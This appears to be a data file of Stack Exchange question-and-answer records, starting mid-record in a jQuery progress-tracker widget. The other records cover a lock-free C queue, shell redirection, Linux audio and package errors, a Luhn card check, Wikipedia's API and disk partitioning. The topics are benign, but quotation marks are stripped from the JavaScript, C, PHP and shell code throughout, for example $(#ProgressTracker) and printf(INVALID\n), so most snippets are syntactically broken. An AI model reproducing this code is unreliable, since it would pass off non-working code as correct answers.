if(this._constrain(nextstep)===this.options.step){ return this; }else{ this.step(nextstep); return this; } }, // Update the <ol> and <li> classes to reflect the current step update: function(){ // Reset progress bar status $e = this.element; $e.find(.step-current).removeClass(step-current); $e.find(.step-finished).removeClass(step-finished); $e.find(.jumpable).removeClass(jumpable); // If complete if(this.options.step>this.options.steps.length){ $e.find('.step').addClass(step-finished); $e.addClass(complete); if((this.options.jumpDirection===back || this.options.jumpDirection===both)){ // if jumpback // add jumpable to all steps $e.find(.step).addClass(jumpable); } return this; } // If current == 0 (pre-first step) if(this.options.step===0){ if((this.options.jumpDirection===forward || this.options.jumpDirection===both)){ // if jumpforward // add jumpable to all steps $e.find(.step).addClass(jumpable); } return this; } // Set current step var $current = $e.find(.step:nth-child(+this.options.step+)) .addClass(step-current); var $prevAll = $current.prevAll('.step').addClass(step-finished); if((this.options.jumpDirection===back || this.options.jumpDirection===both)){ $prevAll.addClass(jumpable); } if((this.options.jumpDirection===forward || this.options.jumpDirection===both)){ $current.nextAll('.step').addClass(jumpable); } return this; } });})(jQuery);Default CSSol.progresstrack { list-style-type: none; padding-left:0;}.progresstrack.container { display: flex; align-items: flex-end; padding-top: 22px;}.progresstrack .step { flex-grow:1; position:relative; text-align: center; z-index:1;}.progresstrack .step-number { position:relative; z-index:10; width: 20px; height: 20px; border-radius: 10px; background-color:white; display:inline-block; text-align: center; line-height: 20px; border:1px solid;}.progresstrack .jumpable .step-number:hover{ cursor: pointer;}.progresstrack .step-finished .step-number{ background-color: green;}.progresstrack .step-current .step-number{ background-color:lightblue;}.progresstrack .step-label-wrap { position: absolute; width:100%; top: -22px;}.progresstrack .step-label { padding: 0px 1px;}.progresstrack .step-line { width: 100%; height: 0px; overflow: auto; margin: auto; position: absolute; top: 0; left: 0; bottom: 0; right: -100%; background-color: white; border:1px solid;}.progresstrack .step:last-of-type .step-line{ display:none;}Example Use// Initialize$(#ProgressTracker).progresstracker({ step: 1, steps:[Date,Items,Preview,Details,Confirm], jumpDirection:both, jumpforward:function(e,data){ if(data.step === 3){ return false; //cancel forward jumps to step 3 } //do something }, jumpback:function(e,data){ //do something; }, complete:function(){ //do something }});//Make changes to options$(#ProgressTracker).progresstracker(option,{steps:steps[a,b,c]});" , "title": "jQuery Widget - Progress Tracker" , "tags": "javascript;jquery;html;css;jquery ui" , "accepted_answer": "ReadabilityThe writing style is seriously hurting readability at some places, but especially here:_constrain: function(step){ step = parseInt(step) || 0; if(step>this.options.steps.length) {return this.options.steps.length+1;} else if(step<0) {return 0;} else {return step;}}With the if, else if, else nicely laid out, this becomes:_constrain: function(step) { step = parseInt(step) || 0; if (step > this.options.steps.length) { return this.options.steps.length + 1; } else if (step < 0) { return 0; } else { return step; }}When laid out like this, it's easier to see new opportunities for simplification. For example:_constrain: function(step) { step = parseInt(step) || 0; if (step > this.options.steps.length) { return this.options.steps.length + 1; } return step < 0 ? 0 : step;}Parsing integersThe documentation of parseInt says to always specify a radix parameter:parseInt(step, 10);Inconsistent writing styleSometimes you write if statements like this:if(step===this.options.step){And sometimes like this:if( rebind ){ this._bind();}if( update ){ this.update();}It looks as if the code had been written by 2 different people.It would be better to pick one style and stick with it.Which one you pick is a matter of taste, my preference is as you can see in earlier examples.Ternary on booleanThis is just silly:var jumpable = ($(e.target).parents('.jumpable').length)?true:false;Instead of the ternary operator (or if-else) on boolean-y expressions,you can be more direct:var jumpable = $(e.target).parents('.jumpable').length > 0;" } { "id": "_codereview.22915" , "question": "I have written a lock free MPMC FIFO in C based on a ring buffer. It uses gcc's atomic built-ins to achieve thread safety. The queue is designed to return -1 if it's full on enqueue or empty on dequeue. After some feedback, I've changed by design. I have tested this code to work, but testing multithreaded code is hardly enough to prove it's correct. struct queue{ void** buf; size_t num; uint64_t writePos; uint64_t readPos;};queue_t* createQueue(size_t num){ struct queue* new = xmalloc(sizeof(*new)); new->buf = xmalloc(sizeof(void*) * num); memset(new->buf, 0, sizeof(void*)*num); new->readPos = 0; new->writePos = 0; new->num = num; return new;}void destroyQueue(queue_t* queue){ if(queue) { xfree(queue->buf); xfree(queue); }}int enqueue(queue_t* queue, void* item){ for(int i = 0; i < kNumTries; i++) { if(__sync_bool_compare_and_swap(&queue->buf[queue->writePos % queue->num], NULL, item)) { __sync_fetch_and_add(&queue->writePos, 1); return 0; } } return -1;}void* dequeue(queue_t* queue){ for(int i = 0; i < kNumTries; i++) { void* value = queue->buf[queue->readPos % queue->num]; if(value && __sync_bool_compare_and_swap(&queue->buf[queue->readPos % queue->num], value, NULL)) { __sync_fetch_and_add(&queue->readPos, 1); return value; } } return NULL;}(link to the previous iteration)" , "title": "Lock free MPMC Ring buffer implementation in C" , "tags": "c;multithreading;thread safety;circular list" } { "id": "_unix.107861" , "question": "Is it possible, within a shell script, to write to the screen while STDOUT and STDERR is being redirected?I have a shell script that I want to capture STDOUT and STDERR. The script will run for perhaps an hour or more, so I want to occasionally write some status messages to the screen that will be displayed and not redirected (not captured).For a minimal example, I have a shell script, let's say ./myscript.sh:#!/bin/sh -uecho Message A: This writes to STDOUT or wherever '1>' redirects to.echo Message B: This writes to STDOUT or wherever '1>' redirects to.>&1echo Message C: This writes to STDERR or wherever '2>' redirects to.>/dev/stderrecho Message D: This writes to STDERR or wherever '2>' redirects to.>&2echo Message E: Write this to 'screen' regardless of (overriding) redirection. #>??? Then, for example, I'd like to see this output when I run the script like this: [~]# ./myscript.sh > fileout 2> filerrMessage E: Write this to 'screen' regardless of (overriding) redirection.[~]# ./myscript.sh > /dev/null 2>&1Message E: Write this to 'screen' regardless of (overriding) redirection.[~]# If this cannot be done directly, is it possible to temporarily discontinue redirection, then print something to the screen, then restore redirection as it was?Some info about the computer: [~]# uname -srvmpioLinux 3.2.45 #4 SMP Wed May 15 19:43:53 CDT 2013 x86_64 x86_64 x86_64 GNU/Linux[~]# ls -l /bin/sh /dev/stdout /dev/stderrlrwxrwxrwx 1 root root 4 Jul 18 23:18 /bin/sh -> bashlrwxrwxrwx 1 root root 15 Jun 29 2013 /dev/stderr -> /proc/self/fd/2lrwxrwxrwx 1 root root 15 Jun 29 2013 /dev/stdout -> /proc/self/fd/1" , "title": "How to output to screen overriding redirection" , "tags": "bash;shell script;io redirection" } { "id": "_unix.157459" , "question": "I've recently set up a new system with MSI Z97 gaming 5 motherboard however the first issue I've encountered was that the sound was crackling.I've fixed that by updating the kernel to 3.16.3Now the issue I have is that the sound is really silent on every output(audio jack, usb). Here are the things I've tried.Checking Alsamixer: Checking KDE audio/video settings and pulse.Before trying to fix modprobe.h/alsa-base.conf by adding: options snd-hda-intel vid=8086 pid=8ca0 snoop=0to fix the crackling. (full alsa-base.conf here: http://paste.kde.org/p2mzluohd)Am I missing something here? I have everything on 100% but it sounds like 20% on windows on every output (I've tried logitech speakers via generic audio jack, sony headphones via generic audio jack and logitech g930 headset via usb)." , "title": "Low sound volume issues on Z97 motherboard and linux mint KDE" , "tags": "linux mint;kde;audio;alsa;pulseaudio" , "accepted_answer": "So today I woke up turned on my system and everything works fine. Not sure what happened but I did reinstalls on pulseaudio before that and changed the snoop=0 to snoop=1 in the etc/modprobe.h/alsa-base.conf to the previous command I had there. So one of those things fixed it.If someone comes up with the same issue be sure to install the latest stable kernel before you do any of the stuff I did.EDIT: Also seems like sometimes the os thinks headphones are running instead of analog output thus resulting in lower sound volumes, you might want to look into that as well." } { "id": "_unix.357798" , "question": "I was installing some packages and during the install of one, the system hung and the package was not installed. But, the package was added to the list of installed packages. So, I restart the system and I try the following:When I try to remove the package, it doesn't work because it can't find a config file.When I try to install the package, it says the package is already installed, and therefore won't install itWhen I try to update, it tries to remove the package, and encounters the error above.So, my question is asking if there's a way to manually remove a package from the list of installed packages, or is there another way to solve this problem?When I run: sudo apt-get upgradeError is:Reading package lists... DoneBuilding dependency treeReading state information... DoneCalculating upgrade... DoneThe following packages will be REMOVED: libglade2.0-cil libglib2.0-cil libgtk2.0-cil0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.18 not fully installed or removed.After this operation, 2,819 kB disk space will be freed.Do you want to continue? [Y/n] Y(Reading database ... 119043 files and directories currently installed.)Removing libglade2.0-cil (2.12.26-0xamarin1) ...E: File does not exist: /usr/share/cli-common/packages.d/policy.2.8.glade-sharp.installcligacdpkg: error processing package libglade2.0-cil (--remove): subprocess installed post-removal script returned error exit status 1Removing libgtk2.0-cil (2.12.26-0xamarin1) ...E: File does not exist: /usr/share/cli-common/packages.d/policy.2.6.gtk-dotnet.installcligacdpkg: error processing package libgtk2.0-cil (--remove): subprocess installed post-removal script returned error exit status 1Removing libglib2.0-cil (2.12.26-0xamarin1) ...E: File does not exist: /usr/share/cli-common/packages.d/policy.2.6.glib-sharp.installcligacdpkg: error processing package libglib2.0-cil (--remove): subprocess installed post-removal script returned error exit status 1Errors were encountered while processing: libglade2.0-cil libgtk2.0-cil libglib2.0-cilE: Sub-process /usr/bin/dpkg returned an error code (1)" , "title": "Unable to remove CLI library packages" , "tags": "debian;apt;package management;raspbian;mono" , "accepted_answer": "There are a couple of approaches to try.The first is to fix /usr/share/cli-common/policy-remove so it doesnt fail if the policy is absent: edit its last line so that it runs rm -f instead of rm. That should allow the packages to be removed correctly.If that fails, and since youre trying to remove all the Mono packages, it should be safe enough to remove the failing postrm scripts:sudo rm /var/lib/dpkg/info/lib{glade,glib,gtk}2.0-cil.postrmThe only operation the postrm scripts do is unregister the policies, which you dont care about since youre removing everything anyway.Youre not the only person to have suffered from this issue: it was reported in 2012 as Debian bug 692962." } { "id": "_cs.11607" , "question": "Given an undirected graph $G=(V,E)$ could we build a tree $T$ that approximates the distances from given vertex $r$ and the total weight, i.e. $\\forall x \\in V, d_G(r,x) \\le d_T(r,x) \\le 3 \\cdot d_G(r,x)$ and $w(T) \\le 3\\cdot w(\\text{MST}(G))$, where $\\text{MST}$ is the minimum spanning tree and $w(\\cdot)$ is the weight function i.e. $w:\\Bbb E \\to \\Bbb R^+$. $d_G(v,u)$ denotes the shortest path distance between $v$ and $u$ in $G$, and $d_T(v,u)$ is the shortest path distance between $v$ and $u$ in $T$.Could any one help me to understand how to build this tree and if there is any material that would help?" , "title": "Finding a tree that approximates the distances and total weights" , "tags": "algorithms;approximation" , "accepted_answer": "Your problem is solved in the following paper by Khuller, Raghavachari, and Young. They show that you can construct a tree in which distances from the root are stretched by at most $\\alpha$ and the total weight of the tree is at most $1 + 2/(\\alpha - 1)$ times the weight of the MST. So, with $\\alpha=3$, you can get $2$ times the weight of the MST. The algorithm does a depth-first traversal of the MST, and adds paths from the shortest path tree when necessary, roughly speaking maintaining a shortest path structure in the current graph, which consists of the MST edges and the edges added from the shortest path three. Check the paper for details.As I mentioned in the comment, there are graphs in which the weight of the shortest path tree rooted at some vertex is greater than the MST weight by $\\Omega(n)$. One example is a path of unit weight edges, and edges from the first vertex in the path to the $i$-th vertex of weight just slightly less than $i-1$. " } { "id": "_softwareengineering.200259" , "question": "As I have been taught - one controller = one use case.But I have:OutsiderControllerSupplierController (which extends OutsiderController)SubContractorController (which also extentds OutsiderController)And I want to do the SSD for SupplierController and SubContractorController. What do I do? Do I write in both SSDs the methods from OutsiderController? " , "title": "Creating a System Sequence Diagram from an [extended] use case" , "tags": "java;design patterns;mvc" } { "id": "_webapps.18485" , "question": "I've been searching but what I've found was always about uploading a video to Tumblr or about adding audio only on Tumblr. None of the results has a solution for my problem. I just want to display a video that's already uploaded on YouTube, not uploading it to Tumblr. How do I embed YouTube video on a Tumblr text post?" , "title": "Embed YouTube video on Tumblr" , "tags": "youtube;tumblr;embed" , "accepted_answer": "I think you misinterpret what the user interface is saying.There are two options in the video interface.Embed a videoUpload a videoYou want option 1. If you want to add some text you can use the caption.Another way to do this will be a regular Add a Text PostFrom there you can use html and YouTube embed option (using the share link at the bottom of a YouTube video) to place it where ever you wish.Example<p>Go for text</p><iframe width=560 height=345 src=http://www.youtube.com/embed/IwX3FdwMCUs frameborder=0></iframe><p>And here goes the rest.</p>" } { "id": "_unix.305833" , "question": "I am following this tutorial on using a mobile phone's accelerometer.In order for it to work properly you have to run three commands on startup every time...rfkill unblock bluetoothkillall bluetoothdhciconfig hci0 upIs there a way to do this with a script on startup instead of manually doing it every time?" , "title": "Running Commands on Startup" , "tags": "startup;yocto" } { "id": "_codereview.45455" , "question": "Below is some code which verifies a credit card number using the checksum as well as check if number of digits are appropriate as well if digits start with right numbers. I am not sure if converting the double into a string was the best bet. I wasn't going to at first but had trouble figuring out the modulo math to get every second digit without knowing the length of the double (# of digits).Also, in my use of strtok(), what should I be doing with the balance of the string after the delimiter? Is that hanging out in memory somewhere?#include <stdio.h>#include <stdlib.h>#include <string.h>int main(void){ double cardnumber; printf(Give me a number: \\n); scanf(%lf, &cardnumber); if(cardnumber < 1000000000000 || cardnumber > 10000000000000000) { printf(INVALID\\n); return 0; } if(cardnumber < 100000000000000 && cardnumber > 9999999999999) { printf(INVALID\\n); return 0; } char creditcard[17]; sprintf(creditcard, %f, cardnumber); char* ptr_cc; ptr_cc = strtok(creditcard,.); int card_size = strlen(ptr_cc); int sum = 0; for(int i = 1; i < card_size; i+=2) { int x = creditcard[card_size-1-i] - '0'; int prod = 2 * x; if(prod>=10) { prod = prod%10 + prod/prod%10; } sum += prod; } for(int i = 0; i < card_size; i+=2) { int x = creditcard[card_size-1-i] - '0'; sum += x; } if(sum%10 != 0) { printf(INVALID\\n); return 0; } else if(creditcard[0] == '4') { printf(VISA\\n); return 0; } else if(creditcard[0] == '3' && (creditcard[1] == '7' || creditcard[1] =='4')) { printf(AMEX\\n); return 0; } else if(creditcard[0] == '5' && (creditcard[1] >='1' && creditcard[1] <='5')) { printf(MASTERCARD\\n); return 0; } else { printf(INVALID\\n); return 0; } }" , "title": "Credit card verification: string conversion most optimal?" , "tags": "c;validation;finance" , "accepted_answer": "As @Keith says, credit card numbers should be treated as strings, not numbers, and definitely not floating-point numbers. If you want to ensure that the input contains only digits (and maybe spaces), use strspn(). Squeeze out any spaces, then validate the length using strlen().The Luhn checksum check should be in its own function. The loop indexes would be more natural counting down, I think, since you are taking every other digit starting from the right.int is_valid_luhn(const char *creditcard){ int card_size = strlen(creditcard); int sum = 0; for(int i = card_size - 2; i >= 0; i -= 2) { int digit = creditcard[i] - '0'; int prod = 2 * digit; sum += prod / 10 + prod % 10; /* No special case needed */ } for(int i = card_size - 1; i >= 0; i -= 2) { sum += creditcard[i] - '0'; } return sum % 10 == 0;}" } { "id": "_softwareengineering.135450" , "question": "How is it legally possible to take a project initially released as open source back to closed source? Especially one licensed with the GPL any version." , "title": "Taking an open source project to closed source" , "tags": "licensing;legal;closed source" , "accepted_answer": "There are two things here:revoking the open source license which has been given. It will probably depend on the text of the license. If the license has no provision, I'm not sure it is possible if the licensee hasn't infringed it. And some license like GPL version 3, are explicit in that:All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met.re-licensing under other terms. It is possible as long as you get the agreement of all copyright holders. If you had the foresight to get it before accepting the contributions (some GNU projects like GCC ask you to assign the copyright to the FSF for instance) it is easy. If you didn't, it will be difficult (some project do that voluntarily so that a change of license is in practice impossible, getting the agreement of everybody or tracking and removing the contributions of those who didn't being impractical).(Mandatory mention: I'm not a lawyer, see yours, and some aspect may be localised and depend on your jurisdiction)." } { "id": "_webapps.91669" , "question": "I forgot my Yahoo! password, I tried many times to recover it but I cant, and I called Yahoo! customer service, they said that I have to pay for it. Please help me to recover it." , "title": "How to reset forgot Yahoo! password?" , "tags": "yahoo;yahoo mail" } { "id": "_unix.303169" , "question": "Perhaps not the most cardinal question on this site, but: The Debian project has been using release names which are characters from the Pixar animation film 'Toy Story'. But - they're about to run out of characters soon. What will they use afterwards? I'm curious." , "title": "What will Debian releases be called after they run out of Toy Story characters?" , "tags": "debian;version" , "accepted_answer": "Since 1995 (the release of Toy Story), Debian has been using 15 names. The first Toy Story had about 18 named characters (people and toys, both of which have been used for Debian releases), Toy Story 2 added another 8 names, and Toy Story 3 another 17 (I might have missed, double counted one or two). Toy Story 4 is in the making.The stories have been adding Debian names at a rate of 2.04 per year and Debian has been using them at a rate of 0.71 per year. Clearly that means that Debian will never run out of names to use, assuming that Debian will persist to exist and that Toy Story sequels will be made ad infinitum. Even if Toy Story 4 were the last and would not have any additional names we have enough names another 40 or so years of release of Debian." } { "id": "_reverseengineering.14751" , "question": "I am writing a reversing challenge where I need to seed a bug. It's important to have a particular ordering of local variable on stack in a method. However, gcc seems to shuffle those around. How can I control variable ordering in such cases?" , "title": "How can I control local variable ordering on stack in gcc?" , "tags": "stack;gcc;local variables" } { "id": "_datascience.554" , "question": "I am a CS master student in data mining. My supervisor once told me that before I run any classifier or do anything with a dataset I must fully understand the data and make sure that the data is clean and correct.My questions:What are the best practices to understand a dataset (high dimensional with numerical and nominal attributes)?Practices to make sure the dataset is clean?Practices to make sure the dataset doesn't have wrong values or so?" , "title": "Datasets understanding best practices" , "tags": "statistics;dataset" } { "id": "_codereview.3244" , "question": "I have the following code, but it's too slow. How can I make it faster?<?phpclass Ngram {const SAMPLE_DIRECTORY = samples/;const GENERATED_DIRECTORY = languages/;const SOURCE_EXTENSION = .txt;const GENERATED_EXTENSION = .lng;const N_GRAM_MIN_LENGTH = 1;const N_GRAM_MAX_LENGTH = 6;public function __construct() { mb_internal_encoding( 'UTF-8' ); $this->generateNGram();}private function getFilePath() { $files = array(); $excludes = array('.', '..'); $path = rtrim(self::SAMPLE_DIRECTORY, DIRECTORY_SEPARATOR . '/'); $files = scandir($path); $files = array_diff($files, $excludes); foreach ($files as $file) { if (is_dir($path . DIRECTORY_SEPARATOR . $file)) fetchdir($path . DIRECTORY_SEPARATOR . $file, $callback); else if (!preg_match('/^.*\\\\' . self::SOURCE_EXTENSION . '$/', $file)) continue; else $filesPath[] = $path . DIRECTORY_SEPARATOR . $file; } unset($file); return $filesPath;}protected function removeUniCharCategories($string){ //Replace punctuation(' # % & ! . : , ? ) become space //Example : 'You&me', become 'You Me'. $string = preg_replace( /\\p{Po}/u, , $string ); //-------------------------------------------------- $string = preg_replace( /[^\\p{Ll}|\\p{Lm}|\\p{Lo}|\\p{Lt}|\\p{Lu}|\\p{Zs}]/u, , $string ); $string = trim($string); $string = mb_strtolower($string,'UTF-8'); return $string;}private function generateNGram() { $files = $this->getFilePath(); foreach($files as $file) { $file_content = file_get_contents($file, FILE_TEXT); $file_content = $this->removeUniCharCategories($file_content); $words = explode( , $file_content); $tokens = array(); foreach ($words as $word) { $word = _ . $word . _; $length = mb_strlen($word, 'UTF-8'); for ($i = self::N_GRAM_MIN_LENGTH, $min = min(self::N_GRAM_MAX_LENGTH, $length); $i <= $min; $i++) { for ($j = 0, $li = $length - $i; $j <= $li; $j++) { $token = mb_substr($word, $j, $i, 'UTF-8'); if (trim($token, _)) { $tokens[] = $token; } } } } unset($word); $tokens = array_count_values($tokens); arsort($tokens); $ngrams = array_slice(array_keys($tokens), 0); file_put_contents(self::GENERATED_DIRECTORY . str_replace(self::SOURCE_EXTENSION, self::GENERATED_EXTENSION, basename($file)), implode(PHP_EOL, $ngrams)); } unset($file);}}$ii = new Ngram();?>" , "title": "N-gram generation" , "tags": "performance;regex;php5;natural language processing;unicode" } { "id": "_webapps.98867" , "question": "I called my dentist recently to schedule an appointment. Didn't have to do any web searches since I already had the number. Once there, I did not make any payments with my credit card, didn't even have to show my insurance card since they already had that info. Not sure if I called from my iPhone or landline but I don't have LinkedIn app installed on my iPhone so it's irrelevant.Today, I logged into LinkedIn and my dentist is first on the list of suggestions to connect to. Now, if that is not creepy, I don't know what is.How in the world would they suggest my dentist since there were no emails exchanged with my dentist, no web searches of my dentist, no credit card transactions at the dentist office or anything else traceable?Do they get data from the NSA or something? It's so creepy I'm considering closing my LinkedIn account..." , "title": "How LinkedIn knows my dentist?" , "tags": "linkedin;social networks" } { "id": "_webmaster.95018" , "question": "I've been having some indexing issues that I've had a development team working on trying to fix for a week but no progress has been made. The site has an overwhelming amount of 404 errors as indicated by Google Search Console. This site is about 800 pages but there are almost 1300 404 errors. This site is built on WordPress. All of said errors are existent on the Desktop portion of GSC but not on the Smartphone portion. The 404's are all from pages that I have no recollection of ever existing and all follow the same format /URLPath/index.html. One of these is errors is explicitly /2014/12/index.html. The page /2014/12 exists as do all of the other pages mentioned in the 404 list as long as you drop the /index.html that appends to the end of the URL. Investigating I can see that the URL was crawled earlier in May and that this page is being linked from 5 other URLS (using the page mentioned above). Of these 5 URLS, none of them link to /2014/12/index.html or /2014/12/ and no changes have been made to this page since it was published. A similar theme occurs for all of the other 404 errors and there linked from pages. Is it possible that these crawl errors are contributing to my indexing problem?(A Site: search shows Google has over 1400 pages indexed but there are only about 800)Why would these pages, appending /index.html, be created without me creating them?NOTE:All of these errors appeared over a 2 day period at the start of May. This is happening for every tag & category as well /tag/index.html, /category/index.html, /category/helloWorld/index.html, etc. This website used to be www and now uses the non-www version of the site.A sitemap was submitted at the end of May with only the 800-ish pages that exist and only 98 are recorded as index by GSC. EDIT:I looked into the server logs to see who accessed the URLs that append /index.html but the entire server log is empty. There's no trace of anyone visiting a page that 404s. " , "title": "404's from nonexistent URL" , "tags": "indexing;404" } { "id": "_softwareengineering.255129" , "question": "I'm reading a paper describing a NLP work, and I hardly catch the concept of a term, latent parsing.Original paper: http://web.stanford.edu/~angeli/papers/2013-acl-temporal.pdfThe figure in the page 6 seems to be helpful (I can't upload the figure because of my reputation)" , "title": "What is latent parsing in NLP?" , "tags": "parsing;natural language processing" , "accepted_answer": "Let me try to explain what I understand after quickly looking at the paper. Latent is used to describe techniques that uncover the hidden meaning of a piece of text (see e.g. http://en.wikipedia.org/wiki/Latent_semantic_indexing). In this paper the authors are using machine learning to do latent semantic parsing of temporal expressions.Essentially one wants to compute a unique represesentation of a temporal expression, for example March 14 could mean March 14th but also March 2PM. By using regular expressions one can't tell what March 14 means but by using estimation one knows that March 14th would be the most likely interpretation of that expression and so get the (most likely) correct parsing." } { "id": "_unix.328101" , "question": "The useful option wget --convert-links or wget -k makes links in downloaded HTML or CSS point to local files. It makes two passes:Pass 1: download files.Pass 2: convert links.I want to do pass 1 now and pass 2 later. I want to invoke the two passes separately. I want wget to stop after pass 1, let me do some stuff, and only then continue with pass 2. I just want to convert links as a separate command, whether the command is wget or something else. How, please?And if wget won't do this, then is there a Perl module, Python module or the like that will?(For reference: this answer partly answers my question. This question is similar, but its answer seems to fail. At any rate, neither gives something that actually works as far as I can tell.)" , "title": "Using wget or another command, how to download now but convert links later?" , "tags": "wget;html" } { "id": "_unix.104996" , "question": "I can't connect to a WiFi network. I tried various methods such as wpa_supplicant and wicd. At the moment I'm trying netctl.When I enter the command: systemctl --type=service I see the following errors:netctl start wireless-homeJob for netctl@wireless\\x2dhome.service failed. See 'systemctl statusnetctl@wireless\\x2dhome.service' and 'journalctl -xn' for details.This is the profile file for wireless-home:Description='A simple WPA encrypted wireless connection'Interface=wlan0Connection=wirelessSecurity=wpaIP=dhcpESSID='Pruthenia 3.OG'Key='XXXXXXXXXX'systemctl status netctl@wireless\\x2dhome.servicenetctl@wirelessx2dhome.service - Networking for netctl profile wirelessx2dhome Loaded: loaded (/usr/lib/systemd/system/netctl@.service; static) Active: inactive (dead) Docs: man:netctl.profile(5)journalctl -xn output --> Dec 12 08:01:01 webcampi CROND[2765]: pam_unix(crond:session): session closed for user rootDec 12 09:01:01 webcampi crond[3490]: pam_unix(crond:session): session opened for user root by (uid=0)Dec 12 09:01:01 webcampi CROND[3491]: (root) CMD (run-parts /etc/cron.hourly)Dec 12 09:01:01 webcampi CROND[3490]: pam_unix(crond:session): session closed for user rootDec 12 10:01:01 webcampi crond[4216]: pam_unix(crond:session): session opened for user root by (uid=0)Dec 12 10:01:01 webcampi CROND[4217]: (root) CMD (run-parts /etc/cron.hourly)Dec 12 10:01:01 webcampi CROND[4216]: pam_unix(crond:session): session closed for user rootDec 12 11:01:01 webcampi crond[4941]: pam_unix(crond:session): session opened for user root by (uid=0)Dec 12 11:01:01 webcampi CROND[4942]: (root) CMD (run-parts /etc/cron.hourly)Dec 12 11:01:01 webcampi CROND[4941]: pam_unix(crond:session): session closed for user rootHow can I fix this?" , "title": "Can't connect to WLAN with netctl" , "tags": "arch linux;wifi;raspberry pi;netctl" } { "id": "_softwareengineering.291150" , "question": "I am trying to write an utility which traverses through a list of files and searches for a string in each file. On finding the string in a file, I will add it to a list and display the list. Which design pattern should I use for the same?" , "title": "Design Patterns: What design pattern should I use for the following?" , "tags": "java;design patterns" } { "id": "_softwareengineering.143509" , "question": "When I start learning a new language, I have a couple of simple implementations that I like to complete to familiarise myself with the language. Currently, I write:Fibonacci and/or factorial to get the hang of writing and calling methods, and basic recursionDjikstras shortest path (with a node type) to get to grips with making classes (or whatever the language equivalent is) with methods and properties, and also using them in slightly more complex code.I was wondering: does anybody else have any techniques or tools they like to use when getting off the ground in a new language? I'm always looking for new things to add to my start-up routine." , "title": "Techniques for getting off the ground in any language" , "tags": "learning;self improvement;language agnostic" , "accepted_answer": "I have constructed a small hello, world task I have used to make sure I learn some important parts of languages. The program needs to read and parse a CSV file (I make sure to use regex if available), and then - based on command line arguments - it needs to output the data in either json, yaml or XML format to a new file. For constructing the output I usually try not to use to many loops, but instead find the language equivalents of map and reduce.I've found that modelling this problem is complex enough to be quite valuable. For instance I try not to use a switch/case, but somehow apply the open/close principle and thereby making it extendable (object-based polymorphism, dynamic dispatch table etc.)" } { "id": "_webapps.29924" , "question": "For each user on Wikipedia, I'd like to find which pages were created by those users. How can I find all of the pages that were created by a specific Wikipedia or Mediawiki user?" , "title": "How can I see all pages that were created by a specific Wikipedia user?" , "tags": "mediawiki;wikipedia" , "accepted_answer": "As far as I know, there is no simple way to do this. But I can see some possibilities (starting with those that practically won't work):Use the API. The API doesn't have any direct way to do this, but you could try to work around that:Go though all pages and for each of them, find out the creator. Because of the limitations of the API when working with revisions, this would mean 1 request per page, which makes this completely unfeasible for a wiki as big as Wikipedia.The first query would look something like: http://en.wikipedia.org/w/api.php?action=query&generator=allpages&gaplimit=1&prop=revisions&rvdir=newer&rvprop=user&rvlimit=1For each user, go through his contributions and find out which of his edits created a new page. Because the API won't let you filter the contributions to show only page creations, you would have to filter that by yourself. This would be probably much faster than the option above, but still way too slow for Wikipedia:The query for User:Svick would look like: http://en.wikipedia.org/w/api.php?action=query&list=usercontribs&ucuser=Svick&ucprop=title|flags&uclimit=maxDownload the stub-meta-history dump (32 GB compressed for the English Wikipedia), which contains information about revisions of all pages in XML. You could go through that to find out the creator of each page (assuming no revisions were deleted).On the Wikimedia Toolserver, I run a script (originally not written by me) that periodically updates the table u_svick_enwiki_page_creators_p, which contains information about users that created each page. This table is accessible to other users of the Toolserver, but not to the public.To sum up: there is no good solution and you have pretty much two choices: download and parse 32 GB of data, or get a Toolserver account and then use the table I mentioned." } { "id": "_softwareengineering.145378" , "question": "So, I've been working for a bank for the past 4 years. My main responsibility has been online banking. Over the past year, we've been implementing the scrum methodology. We've also changed to domain driven design.Now, my problem is regarding what management is planning on doing. They want to split the online banking team between the domain teams, so one developer from the online banking team will go into each domain team and work on online banking projects that are part of the domains. For example, if software development gets a project to create a new loan overview in the online bank, the loan team will handle it all the way from from database to UI. My problem with this is that there is no focus on the online bank as a product anymore. There is no way to veto any new feature. The product owners in the domains can just dump any obscure new feature into the online bank that they want to. There is also no work happening to revamp core features that our users use all the time. Every project is to make something new and once it's release, developers have to start working on a new project immediately. There is no teamwork, each web developer has to work on a separate UI for a separate domain. No hardening.Our suggestion to management is that the online banking team be it's own scrum team focusing on the online bank as a product. That team would have it's own scrum master and the online bank would have a product owner. That product owner would coordinate with the product owners of the domains and prioritize projects that have to happen in the online banks. If a project from one domain has higher priority than a project from another domain, he would explain to the domain PO that we have to work on the higher priority one first.Management hasn't listened to us.My question is, what is the right way to do this? " , "title": "Scrum, DDD, and front-end development in an enterprise environment" , "tags": "web development;scrum;domain driven design" , "accepted_answer": "The approach you describe is what is commonly termed a Scrum of Scrums...except there doesn't appear to be collaboration between the teams in terms of integration. Without that, you do risk having a hodgepodge of features without any consistency between them. The transition might be noticeable and jarring to the users as they go from say managing their mortgage to checking their savings balance. Basically, you'll end up with a series of Silos with few of the benefits of either approach (Scrum or DDD). That being said, it's tough to judge from a few paragraphs what counterbalances have been put in place to avoid this scenario. For example, if the Product Owners do regularly meet and collaborate on features and approach then hopefully, they will address the system as a unified whole and the separation of teams is really just for simplification from a management perspective.I'd say, give it a chance you might find that they know more than they're letting on at first ;)" } { "id": "_unix.81149" , "question": "I did a pvresize (decrease) on /dev/sda2 so that I can have about 48 GBytes free... and I wanted to create a partition on that free space, but the /dev/sda3 device didn't created.. why? Do I need a reboot for it? (didn't rebooted after the reducing of the PV...)[root@SERVER ~]# parted -s /dev/sda print freeModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber Start End Size Type File system Flags 32,3kB 1049kB 1016kB Free Space 1 1049kB 538MB 537MB primary ext4 boot 2 538MB 272GB 271GB primary lvm 272GB 320GB 48,3GB Free Space[root@SERVER ~]#[root@SERVER ~]# [root@SERVER ~]# parted /dev/sda printModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber Start End Size Type File system Flags 1 1049kB 538MB 537MB primary ext4 boot 2 538MB 272GB 271GB primary lvm[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# parted /dev/sda mkpart primary 272GB 320GBWarning: WARNING: the kernel failed to re-read the partition table on /dev/sda (Az eszkz vagy erforrs foglalt). As a result, it may not reflect all ofyour changes until after reboot.[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# parted /dev/sda 